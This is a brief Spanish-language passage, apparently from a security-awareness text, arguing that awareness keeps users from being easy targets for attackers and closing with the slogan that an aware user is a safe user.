concientizacion para que no sean blancos faciles de un atacante: Un

usuario consciente es un usuario seguro.
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